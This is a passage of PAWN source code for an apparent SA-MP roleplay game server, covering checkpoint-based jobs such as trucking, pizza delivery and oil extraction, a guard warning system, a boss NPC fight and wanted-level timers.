if(ImInSection[playerid]==14) BankLS4 = 0;
if(ImInSection[playerid]==21) BankLV1 = 0;
if(ImInSection[playerid]==22) BankLV2 = 0;
if(ImInSection[playerid]==23) BankLV3 = 0;
if(ImInSection[playerid]==24) BankLV4 = 0;
if(ImInSection[playerid]==31) BankSF1 = 0;
if(ImInSection[playerid]==32) BankSF2 = 0;
if(ImInSection[playerid]==33) BankSF3 = 0;
if(ImInSection[playerid]==34) BankSF4 = 0;
ImInSection[playerid] = 0;
}
SCM(playerid, COLOR_SINARANG, "BANK: Don't waste our time.");
return 1;
}
forward ImInAreaCALL(playerid);
public ImInAreaCALL(playerid)
{
new strC[100];
if(WarnsForEnter[playerid] == 1)
{
WarnsForEnter[playerid]++;
format(strC, sizeof(strC), "Guard Says: I said leave this area %s", RPName(playerid));
ProxDetector(20.0, playerid, strC,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
return 1;
}
if(WarnsForEnter[playerid] == 2)
{
WarnsForEnter[playerid]++;
format(strC, sizeof(strC), "Guard Says: I'm calling cops %s", RPName(playerid));
ProxDetector(20.0, playerid, strC,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
return 1;
}
if(WarnsForEnter[playerid] == 3)
{
if(ImInArea[playerid]!=0){KillTimer(ImInArea[playerid]);ImInArea[playerid]=0;WarnsForEnter[playerid]=0;}
format(strC, sizeof(strC), "Guard Says: I called cops %s", RPName(playerid));
ProxDetector(20.0, playerid, strC,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
WantedBede(playerid, 1, "Entering forbidden area", "Entering forbidden area");
return 1;
}
return 1;
}
forward OilExp(playerid);
public OilExp(playerid)
{
if(OilExport[playerid]!=0){KillTimer(OilExport[playerid]);OilExport[playerid]=0;}
StopLoopingAnim(playerid);
DoingNaft[playerid] = 0;
if(!IsAtNaftKesh(playerid))return SCM(playerid, COLOR_SINARANG, "0L oil exported.");
new naft, msg[40];
if(IsAtNaftKesh(playerid)==1)
{
naft = RandomShomare(10,20);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==2)
{
naft = RandomShomare(11,24);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==3)
{
naft = RandomShomare(1,9);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==4)
{
naft = RandomShomare(1,62);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==5)
{
naft = RandomShomare(9,17);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==6)
{
naft = RandomShomare(5,19);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==7)
{
naft = RandomShomare(3,10);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==8)
{
naft = RandomShomare(5,20);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==9)
{
naft = RandomShomare(10,35);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else if(IsAtNaftKesh(playerid)==10)
{
naft = RandomShomare(6,23);
format(msg, sizeof(msg), "%sL oil exported.", FormatNumber(naft));
SCM(playerid, COLOR_SINARANG, msg);
OilInHand[playerid] = (OilInHand[playerid]+naft);
}
else return SCM(playerid, COLOR_SINARANG, "0L oil exported.");
return 1;
}
forward TimeroCheckKon(playerid);
public TimeroCheckKon(playerid)
{


// BOSS by Sina
new string[60];
  if(BossArea!=-1)
  {
    format(string,sizeof(string),"Health: %.2f",FCNPC_GetHealth(Boss));
    TextDrawSetString(Boss_TD[5],string);
  }
		if(BossTarget==playerid&&!IsPlayerInDynamicArea(playerid, BossArea))
		{
			FCNPC_StopAim(Boss);
			BossTarget=-1;
		}
		if(BossArea!=-1&&IsPlayerInAnyDynamicArea(playerid))
		{
			if(IsPlayerInDynamicArea(playerid,BossArea))
			{
				if(!BossTDShowed[playerid])ShowPlayerBossTD(playerid);
				new vehicleid=GetPlayerVehicleID(playerid);
				if(vehicleid!=0)
				{
					new Float:a,Float:x,Float:y;
					GetVehicleZAngle(vehicleid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetVehicleVelocity(vehicleid, x, y, 0.7);
					SCM(playerid,COLOR_LIGHTRED,"Do not enter the airport area with a vehicle.");
				}
				else
				{
					if(!IsBossAsleep)CheckForAim(playerid);
					format(string,sizeof(string),"Points:_%i_]_Ranking:_%i",floatround(BossScore[playerid]),GetPlayerBossRank(playerid));
					PlayerTextDrawSetString(playerid,Boss_PTD[playerid],string);
				}
			}
			if(IsPlayerInDynamicArea(playerid,BossArea2))
			{
				if(!BossTDShowed[playerid])ShowPlayerBossTD(playerid);
				new Float:x,Float:y,Float:a;
				new vehicleid=GetPlayerVehicleID(playerid);
				if(vehicleid!=0)
				{
					GetVehicleZAngle(vehicleid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetVehicleVelocity(vehicleid, x, y, 0.7);
				}
				else
				{
					GetPlayerFacingAngle(playerid, a);
					x = 0.5 * floatsin(-(a+180), degrees);
					y = 0.5 * floatcos(-(a+180), degrees);
					SetPlayerVelocity(playerid, x, y, 0.7);
				}
			}
		}
// ---



    if(GetPlayerWantedLevel(playerid) >= 1)
    {
	for(new b;b<Akharish;b++)
	{
	   if(IsPlayerConnected(b))
	   {
		  if(gTeam[b] == TEAM_COP)
		  {
		    if(OnDuty[b] == 1)
		    {
		      if(AFK[b] == 0)
		      {
			    if(ProxDetectorS(80,playerid,b)) {WantedKamKonTimerValid[playerid] = false; }
			    if(!ProxDetectorS(80,playerid,b)) {WantedKamKonTimerValid[playerid] = true; }
			  }
			}
		  }
	   }
	}
    if(WantedTimerEZ[playerid] != 0 && WantedKamKonTimerValid[playerid] == true && AFK[playerid] == 0)
    {
	new kalkalnakon[50];
    WantedTimerEZ[playerid]--;
	if(WantedTimerEZ[playerid] >= 61)
	{
	format(kalkalnakon , sizeof(kalkalnakon) , "W Time: %d Min", WantedMin[playerid]);
    PlayerTextDrawSetString(playerid, WantedTTD[playerid], kalkalnakon);
    }
	else {
	format(kalkalnakon , sizeof(kalkalnakon) , "W Time: %d Sec", WantedSec[playerid]);
    PlayerTextDrawSetString(playerid, WantedTTD[playerid], kalkalnakon);
	}
    }
	}
	if(WantedTimerEZ[playerid] == 1)
	{
	WantedeMan[playerid] = SetTimerEx("wantedemanebaw", 1000, 0, "i", playerid);
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
public OnPlayerEnterCheckpoint(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(CPT[playerid] == 1 && FindTime[playerid] == 0 && hitmanord[playerid] == 0 && cooldownbet[playerid] == 0) return KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating.");
	CPT[playerid] = 1;
	SetTimerEx("CPTimer",5000,1,"i",playerid);
	if(CP[playerid] == 1187)
	{
	   CP[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	   SCM(playerid,COLOR_Good,"Here is your rented vehicle.");
	}
	if(locatemashin[playerid] == 1)
	{
	   locatemashin[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   SCM(playerid,COLOR_SINA3,"Here's your car.");
	}
	else if(locatemashin[playerid] == 2)
	{
	   locatemashin[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Here's your car it is locked now use /lock to unlock it");
	}
	new string[256];
	if(TaxiCallTime[playerid] > 0 && IAcceptTaxi[playerid] == 1)
	{
	   IAcceptTaxi[playerid] = 0;
	   GameTextForPlayer(playerid, "~w~Reached destination", 5000, 1);
	   TaxiCallTime[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   IWantTaxi[TaxiAccepted[playerid]] = 0;
	   TaxiAccepted[playerid] = INVALID_PLAYER_ID;
	}
	else if(MechanicCallTime[playerid] == 1)
	{
	   GameTextForPlayer(playerid, "~w~Reached destination", 5000, 1);
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   MechanicCallTime[playerid] = 0;
	   IWantMechanic[MechanicAccepted[playerid]] = 0;
	   MechanicAccepted[playerid] = 9999;
	}
	else if(MedicCallTime[playerid] == 1)
	{
	   GameTextForPlayer(playerid, "~w~Reached destination", 5000, 1);
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   MedicCallTime[playerid] = 0;
	   IWantMedic[MedicAccepted[playerid]] = 0;
	   MedicAccepted[playerid] = 9999;
	}
	if(CP[playerid] == 18650)
	{
	SCM(playerid, COLOR_Good, "Here is the angel, use /angel to use angel's features.");
	OnCheckpoint[playerid]=0;
	DisablePlayerCheckpoint(playerid);
	CP[playerid]=0;
	}
	if(CP[playerid] == 58723)
	{
	   if(PINFO[playerid][pMember] != 8 && PINFO[playerid][pLeader] != 8) {DisablePlayerCheckpoint(playerid);OnCheckpoint[playerid] = 0;CP[playerid] = 0;return 1;}
	   if(PINFO[playerid][pGunLic] <= 0) {DisablePlayerCheckpoint(playerid);OnCheckpoint[playerid] = 0;CP[playerid] = 0;return SCM(playerid, COLOR_LIGHTBLUE, "You haven't a weapon license.");}
	   switch(HitmanTofangPackage[playerid])
	   {
		  case 1:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200); }
		  case 2:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,31,200); }
		  case 3:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,30,200); }
		  case 4:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,31,200); }
		  case 5:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,30,200); }
		  case 6:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,31,200); }
		  case 7:{GivePlayerKolang(playerid,4,1);GivePlayerKolang(playerid,23,200);GivePlayerKolang(playerid,29,200);GivePlayerKolang(playerid,34,200);GivePlayerKolang(playerid,30,200); }
	   }
	   DisablePlayerCheckpoint(playerid);OnCheckpoint[playerid] = 0;CP[playerid] = 0;hitmanord[playerid] = 1;
	   PlayerPlaySound(playerid,1149,0.0,0.0,0.0);
	   return 1;

	}
	if(CP[playerid] == 12345)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(TruckAllowed[playerid] == 0 && GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsaTruckCar(vehicle))
	   {
		  if(TruckLevel[playerid] == 0 || TruckLevel[playerid] == 10)
		  {
			 TruckLevel[playerid] = 1;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-184.852737,-278.438751,1.156767,4.0);
			 CP[playerid] = 12349;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 1)
		  {
			 TruckLevel[playerid] = 2;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-23.151823,19.092706,2.844216,4.0);
			 CP[playerid] = 1234562;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 2)
		  {
			 TruckLevel[playerid] = 3;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2140.185058,2513.634033,10.820312,4.0);
			 CP[playerid] = 1234563;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 3)
		  {
			 TruckLevel[playerid] = 4;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2399.868404,2806.395019,10.820312,4.0);
			 CP[playerid] = 1234564;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 4)
		  {
			 TruckLevel[playerid] = 5;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-1041.484863,-1260.395629,128.775451,4.0);
			 CP[playerid] = 1234565;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 5)
		  {
			 TruckLevel[playerid] = 6;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2045.757202,-2205.050292,13.546875,4.0);
			 CP[playerid] = 1234566;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 6)
		  {
			 TruckLevel[playerid] = 7;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1647.317260,920.111572,10.671875,4.0);
			 CP[playerid] = 1234567;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 7)
		  {
			 TruckLevel[playerid] = 8;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,388.436584,2588.690917,16.474586,4.0);
			 CP[playerid] = 1234568;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 8)
		  {
			 TruckLevel[playerid] = 9;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-540.005920,2580.670898,53.414062,4.0);
			 CP[playerid] = 1234569;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
		  if(TruckLevel[playerid] == 9)
		  {
			 TruckLevel[playerid] = 10;
			 TruckAllowed[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-2444.194824,2238.302490,4.843750,4.0);
			 CP[playerid] = 1234570;
			 SCM(playerid,COLOR_YELLOW,"Go and take a trailer and transport it to the checkpoint.");
			 return 1;
		  }
	   }
	}
	if(CP[playerid] == 121)
	{
	   new vehicle = GetPlayerVehicleID(playerid);
	   if(TooPiz[playerid] == 0 && GetPlayerState(playerid) == PLAYER_STATE_DRIVER && IsPizCar(vehicle))
	   {
		  if(PizLevel[playerid] == 0 || PizLevel[playerid] == 12)
		  {
			 PizLevel[playerid] = 1;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2498.378906,-1643.683715,13.782609,5.0);
			 CP[playerid] = 122;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 1)
		  {
			 PizLevel[playerid] = 2;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1380.432373,-1753.265014,13.115681,5.0);
			 CP[playerid] = 123;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
		  if(PizLevel[playerid] == 2)
		  {
			 PizLevel[playerid] = 3;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,811.438598,-1457.071777,13.122683,5.0);
			 CP[playerid] = 124;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 3)
		  {
			 PizLevel[playerid] = 4;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1110.244384,-974.460083,42.335758,5.0);
			 CP[playerid] = 125;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 4)
		  {
			 PizLevel[playerid] = 5;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2000.373046,-1118.195922,26.352176,5.0);
			 CP[playerid] = 126;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 5)
		  {
			 PizLevel[playerid] = 6;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,2373.354736,-1145.998168,27.186990,5.0);
			 CP[playerid] = 127;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 6)
		  {
			 PizLevel[playerid] = 7;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1873.937255,733.205078,10.390151,5.0);
			 CP[playerid] = 127;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 7)
		  {
			 PizLevel[playerid] = 8;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1029.358642,1846.273193,11.043730,5.0);
			 CP[playerid] = 128;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 8)
		  {
			 PizLevel[playerid] = 9;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,1033.307861,2315.657226,11.032360,5.0);
			 CP[playerid] = 129;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 9)
		  {
			 PizLevel[playerid] = 10;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-2170.304687,251.844207,34.885883,5.0);
			 CP[playerid] = 130;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 10)
		  {
			 PizLevel[playerid] = 11;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-1551.182495,1169.502441,6.758575,5.0);
			 CP[playerid] = 131;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
			if(PizLevel[playerid] == 11)
		  {
			 PizLevel[playerid] = 12;
			 TooPiz[playerid] = 1;
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-2899.399902,1034.412841,36.222011,5.0);
			 CP[playerid] = 132;
			 SCM(playerid,COLOR_YELLOW,"go to checkpoint for give pizza package.");
				TogglePlayerControllable(playerid, 0);
				SetTimerEx("unft", 15000, false, "i", playerid);
				SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 15 seconds");
				LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
			 return 1;
		  }
	   }
	}
	else if(CP[playerid] == 12389)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12390;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12390)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-313.921447,-1382.667480,11.314981,5);
	   CP[playerid] = 12391;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12391)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12392;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12392)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-317.527496,-1327.227249,9.058633,5);
	   CP[playerid] = 12393;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12393)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12394;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12394)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-303.710906,-1318.423828,9.106340,5);
	   CP[playerid] = 12395;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12395)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12396;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 65074)
	{
	if(HamleDrugs[playerid] == 1)
	{
	 new ahmadzoghi[144];
	 format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Player %s(%i) arrived to drug buyer less than a minute (Relogged)",RPName(playerid), playerid);
     AdminWarn(ahmadzoghi);
	SCM(playerid, COLOR_SINAGHERMEZ, "You arrived to buyer less than a minute, you will be reconnect.");
	RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
	}
	 new veze[70];
	 TogglePlayerControllable(playerid, 0);
	 LoopingAnim(playerid,"PED","IDLE_CHAT",4.1,1,1,1,1,1);
	 ApplyActorAnimation(DrugActor, "PED","IDLE_CHAT",4.0,1,0,0,0,0);
	 AnimPlay[playerid] = 1;
	 format(veze, sizeof(veze), "%s Says: I was waiting for you",MyBuyer[playerid]);
	 ProxDetector(20.0, playerid, veze,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
	 SohbatDrug1[playerid] = SetTimerEx("TalkDrug1", 2000, false, "i", playerid);
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
	 OnCheckpoint[playerid] = 0;
	 CP[playerid] = 0;
	 DisablePlayerCheckpoint(playerid);
	}
	else if(CP[playerid] == 12396)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-371.492431,-1323.586547,24.562522,5);
	   CP[playerid] = 12397;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12397)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12398;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12398)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-402.660888,-1290.676513,31.735294,5);
	   CP[playerid] = 12399;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12399)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12400;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12400)
	{
	   new cash = RandomShomare(3,6);
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,-402.660888,-1290.676513,31.735294,5);
	   CP[playerid] = 12401;
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	   GivePlayerPool(playerid,cash);
	   format(string, sizeof(string), "~y~PayOff~w~ $%d",cash);
	   GameTextForPlayer(playerid, string, 4000, 5);
	}
	else if(CP[playerid] == 12401)
	{
	   OnCheckpoint[playerid] = 1;
	   CP[playerid] = 12402;
	   SetPlayerCheckpoint(playerid,-376.053833,-1431.996826,25.726562,4);
	   PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
	}
	else if(CP[playerid] == 12402)
	{
